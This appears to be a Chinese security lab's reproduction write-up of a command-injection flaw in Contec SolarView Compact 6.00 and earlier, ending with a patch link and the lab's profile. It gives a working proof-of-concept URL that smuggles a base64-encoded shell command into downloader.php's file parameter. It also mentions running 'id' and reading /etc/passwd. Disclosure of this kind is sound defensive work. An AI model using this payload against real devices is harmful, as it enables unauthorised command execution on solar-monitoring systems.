Contec SolarView Compact是日本Contec公司的一个应用系统。提供光伏发电测量系统。

Contec SolarView Compact 6.00版本及之前版本存在安全漏洞。攻击者利用该漏洞通过downloader.php绕过内部限制来执行命令。

0x02影响版本

Contec SolarView Compact 6.00版本及之前版本存在安全漏洞

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

Poc 

/downloader.php?file=;echo%20aWQ=|base64%20-d|bash%00.zip

注意：%00

复现

执行id命令

执行cat /etc/passwd命令

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://www.solar-frontier.com/jpn/residential/products/pdf/discontinued/SolarViewCompact.pdf

弥天简介

学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。

口号 网安引领时代，弥天点亮未来

文章来源：弥天安全实验室